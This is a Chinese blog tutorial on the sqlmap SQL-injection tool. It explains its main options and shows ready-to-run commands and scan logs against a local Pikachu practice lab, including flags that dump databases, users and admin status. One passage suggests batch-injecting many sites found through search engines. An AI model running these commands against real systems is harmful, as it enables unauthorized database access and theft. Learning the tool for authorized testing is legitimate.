首页 > 数据库 >渗透测试之SQLMAP工具详解 kali自带SQLmap解释 重点sqlmap --tamper 使用方式详解 搞完你就很nice了

渗透测试之SQLMAP工具详解 kali自带SQLmap解释 重点sqlmap --tamper 使用方式详解 搞完你就很nice了

时间:2024-12-14 09:04:20浏览次数:10  
标签:SQLMAP SQLmap 12 21 -- INFO 详解 参数 sqlmap

目录

什么是sqlmap

使用sqlmap版本 

使用介绍

参数:-r

这里的level和risk是什么意思

参数:-u

参数 --level=LEVEL

参数 --risk=RISK

参数 -v

参数 -p

参数 --threads

参数 -batch-smart

参数 -m

参数 --注入获取数据


什么是sqlmap

  • Sqlmap是一个开源的渗透工具,它可以自动化检测和利用SQL注入缺陷以及接管数据库服务器的过程
    • 他有一个强大的检测引擎
    • 许多适合于终极渗透测试的小众特性和广泛的开关,从数据库指纹
    • 从数据库获取数据到访问底层文件系统和通过带外连接在操作系统上执行命令
  • 使用它的时候可以设置很多的参数,注意这些参数,面试经常问到
    • sqlmap很强大,以后测试某个网址是否存在注入点的时候
    • 就不需要自己写注入的sql语句了
  • 手工的就记住几个简单的
    • 比如单引号、and、or等等
    • 其他的再非必要的情况下就通过工具(sqlmap)来测即可
    • 当然了有些公司不让使用工具来测,就只能手工测试了

使用sqlmap版本 

  • 这个就使用Kali中的sqlmap自带的
    • 如果不知道kali是啥就不用看下面

使用介绍

参数:-r

  • 称之为万能参数,主要针对post注入
    • 但是任何其他请求方法都是可以的,这个参数用的最多
  • 首先抓包
  • 抓包过后 复制到文本文件中
  • 执行命令
    • sqlmap -r 1.txt
  • 执行结果脚本

这里的level和risk是什么意思

  • 对于剩余的测试,是否要包括“MySQL”的所有测试,以扩展提供的级别 (1) 和风险 (1) 值?[Y/n]
(XSS) attacks
[21:11:02] [INFO] testing for SQL injection on GET parameter 'name'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[21:12:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:12:10] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[21:12:10] [WARNING] reflective value(s) found and filtering out
[21:12:10] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[21:12:11] [INFO] testing 'Generic inline queries'
[21:12:11] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[21:12:11] [INFO] GET parameter 'name' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable 
[21:12:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:12:11] [WARNING] time-based comparison requires larger statistical model, please wait........... (done)       
[21:12:21] [INFO] GET parameter 'name' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[21:12:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:12:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:12:21] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:12:21] [INFO] target URL appears to have 2 columns in query
[21:12:21] [INFO] GET parameter 'name' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[21:12:21] [WARNING] automatically patching output having last char trimmed
GET parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
  • level: 执行测试的等级(1-5,默认为1)
    • 使用-level 参数且数值>=2的时候也会检查cookie里面的参数
    • 当>=3的时候将检查User-agent和Referer
  • risk: 执行测试的风险(0-3,默认为1)
    • 默认是1会测试大部分的测试语句
    • 2会增加基于事件的测试语句
    • 3会增加OR语句的SQL注入测试

参数:-u

  • 只针对get请求方法的注入
  • sqlmap -u http://192.168.1.10/pikachu/vul/sqli/sqli_str.php?name=vince
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=r5h7commep1...pdhht6s823'). Do you want to use those [Y/n] y
-----------------------------------------------------------------------
您尚未声明 cookie,而服务器想要设置自己的 cookie('PHPSESSID=r5h7commep1...pdhht6s823')。您是否要使用这些 cookie [Y/n] y

参数 --level=LEVEL

  • 使用方法:一般我都是使用3这个级别
    • cookie啊、user-agent、referer请求头等都会检测注入点
    • sqlmap -r post.txt --level 3

参数 --risk=RISK

sqlmap -r post.txt --level 3 --risk 3

参数 -v

  • 显示详细信息的意思,ERBOSE信息级别: 0-6 (缺省默认1)
    • 其值具体含义:“0”只显示python错误以及严重的信息;
    • "1"同时显示基本信息和警告信息(默认);
    • “2”同时显示debug信息;
    • “3”同时显示注入的payload;
    • “4”同时显示HTTP请求;
    • “5”同时显示HTTP响应头;
    • “6”同时显示HTTP响应页面;
  • 如果想看到sqlmap发送的测试payload最好的等级就是3
    • 设置为5的话
      • 可以看到http相应信息,比较详细
sqlmap -r post.txt --level 3 --risk 3 -v 3
sqlmap -r post.txt --level 3 --risk 3 -v 5

参数 -p

  • 针对某一个参数进行注入
    • 当我们发现注入点的时候,比如我们的网址http://192.168.0.15/sql.php?id=1 只有一个参数id
    • 那么有些网址有很多的参数,那么我们可以指定只对那个参数进行注入
sqlmap -u http://192.168.1.10/pikachu/vul/sqli/sqli_str.php?name=vince -p name
sqlmap -r get.txt -p name

参数 --threads

  • 线程数,如果你想让sqlmap跑的更快
    • 可以更改这个线程 数的值,默认值为10,最大也是10比如:
    • --threads 20 ,跑的就更快了
  • 我们还可以对所有参数的默认值全部进行调整,我们称之为sqlmap优化,配置文件在如下地方 
    • 修改配置文件

参数 -batch-smart

  • 智能判断测试,自行寻找注入点进行测试
sqlmap -u http://192.168.1.10/pikachu/vul/sqli/sqli_str.php?name=vince -batch-smart
  • 其实还能得到好多数据,这里我们就截图了,截不过来。ctrl+c结束指令的执行
  • 这个智能指令,会将所有数据库全部扒一遍,并且会将每一步的信息和数据全部给我们保存下来,在如下目录中

参数 -m

  • 批量注入 ,比如搞一个txt文件, num.txt,里面写几个注入网址
    • 就可以通过-m参数来批量注入,一般用于我们找到通过搜索引擎之类的方法找到多个网站网址,记录下来进行批量检测的时候用
    • sqlmap -m num.txt

参数 --注入获取数据

--dbs:会获取所有的数据库 //默认情况下sqlmap会自动的探测web应用后端的数据库类型:MySQL、
Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、
Sybase、SAPMaxDB、DB2
--current-user:大多数数据库中可检测到数据库管理系统当前用户
--current-db:当前连接数据库名
--is-dba:判断当前的用户是否为管理
--users:列出数据库所有所有用户
http://192.168.0.15/sql.php?id=1 --dbs # 会获取所有的数据库
http://192.168.0.15/sql.php?id=1 --current-user #显示当前用户
http://192.168.0.15/sql.php?id=1 --current-db #当前连接数据库名
http://192.168.0.15/sql.php?id=1 --is-dba #判断当前的用户是否为管理
http://192.168.0.15/sql.php?id=1 --users #列出数据库所有所有用户

标签:SQLMAP,SQLmap,12,21,--,INFO,详解,参数,sqlmap
From: https://blog.csdn.net/zhzx123aa/article/details/144150054

相关文章

  • 深拷贝详解:特点、实现方法、循环引用处理及性能评估
    文章目录深拷贝的特点实现深拷贝的方法1.使用JSON方法2.使用lodash库3.手动实现4.结构化克隆算法深拷贝与循环引用性能评估解决对象引用问题的其他方法手动实现深拷贝处理循环引用深拷贝的特点深拷贝创建了一个全新的对象,并递归复制原对象内部的所有属性......
  • SQL注入神器——sqlmap的常用姿势
    1.检测是否存在注入点pythonsqlmap.py-u"地址"       出现heuristic(basic)testshowsthatGETparameter'artist'mightbeinjectable(possibleDBMS:'MySQL')这个分析结果是SQLMap对目标URL进行启发式(基本)测试后得出的结论GETparameter'artist'mi......
  • SA8155设计方案技术知识详解
    1.LPDDR4X@2133MHzLPDDR4X@2133MHz(低功耗双倍数据速率4X)是目前移动设备中广泛使用的高带宽内存类型,提供优异的性能和较低的功耗。接下来深入分析LPDDR4X的架构优化、关键参数、典型应用以及支持的算法。1.架构优化LPDDR4X采用双通道架构,每个通道具有16位的数据......
  • C语言:详解循环结构
    目录1.前言1.1本篇所讲重点  2.for循环2.1for循环讲解2.2练习:1.打印1到10的数字2.求1+2+3....+100之和3.逆序输出 3.while循环3.1while讲解3.2while为真为假案例3.3练习 4.do-while循环4.1do-while讲解 4.2do-while先执行一次 4.3练习 5.switch语句5......
  • Linux常用命令之ping命令详解
    ping命令是网络管理中最基本也是最常用的工具之一,用于测试主机之间的连通性。它通过发送ICMP(InternetControlMessageProtocol)回显请求(EchoRequest)到目标主机,并监听返回的回显应答(EchoReply)来工作。ping命令不仅可以用来检查网络连接是否正常,还可以帮助诊断网络速度......
  • [VSCode] vscode下载安装及安装中文插件详解(附下载文件)
      前言vscode链接:https://pan.quark.cn/s/3acbb8aed758提取码:dSytVSCode是一款由微软开发且跨平台的免费源代码编辑器;该软件支持语法高亮、代码自动补全、代码重构、查看定义功能,并且内置了命令行工具和Git版本控制系统。通过上面的连接下载得到压缩包,解压得到exe......
  • kyanos详解
    一、简介官网:https://kyanos.io/cn/github:https://github.com/hengyoush/kyanosKyanos是一个网络流量采集和分析工具,它提供如下特性:强大的流量过滤功能:不仅可以根据传统IP/端口等信息过滤,还支持根据:进程/容器、L7协议信息、请求/响应字节数、耗时等过滤你想要的数据。强......
  • ZBlog首页/分类/内容页标题副标题等SEO标签详解
    文件位置:TDK代码位于zb_users/theme/你使用的主题id/template/seo.php文件中。标签类型及调用逻辑:文章内容页:标题:{$article.Metas.title}(SEO标题)→ {$title}(文章标题)+ {$article.Category.Name}(分类名称)+ {$name}(网站标题)关键词:{$article.Metas.keywords}(SEO关......
  • c++类详解
    学习转自:c++类详解-CSDN博客1#include<iostream>2usingnamespacestd;34classCircle{5private:6doubleradius;78public:9//构造函数10Circle(doubler){11radius=r;12}1314//计算面积15doub......
  • 有缘/无缘·蜂鸣器详解文章(内置驱动电路原理图)
    有缘/无缘蜂鸣器二者差别    常见蜂鸣器种类分为,有缘/无缘蜂鸣器,而对于初学者来说使用最多的,也是最常见的就是有缘蜂鸣器,而相较于无缘蜂鸣器二者的差别主要在于,有无内置振荡电路,驱动方式,外围电路的差别。有缘蜂鸣器    有缘蜂鸣器通常在蜂鸣器中内置震荡电......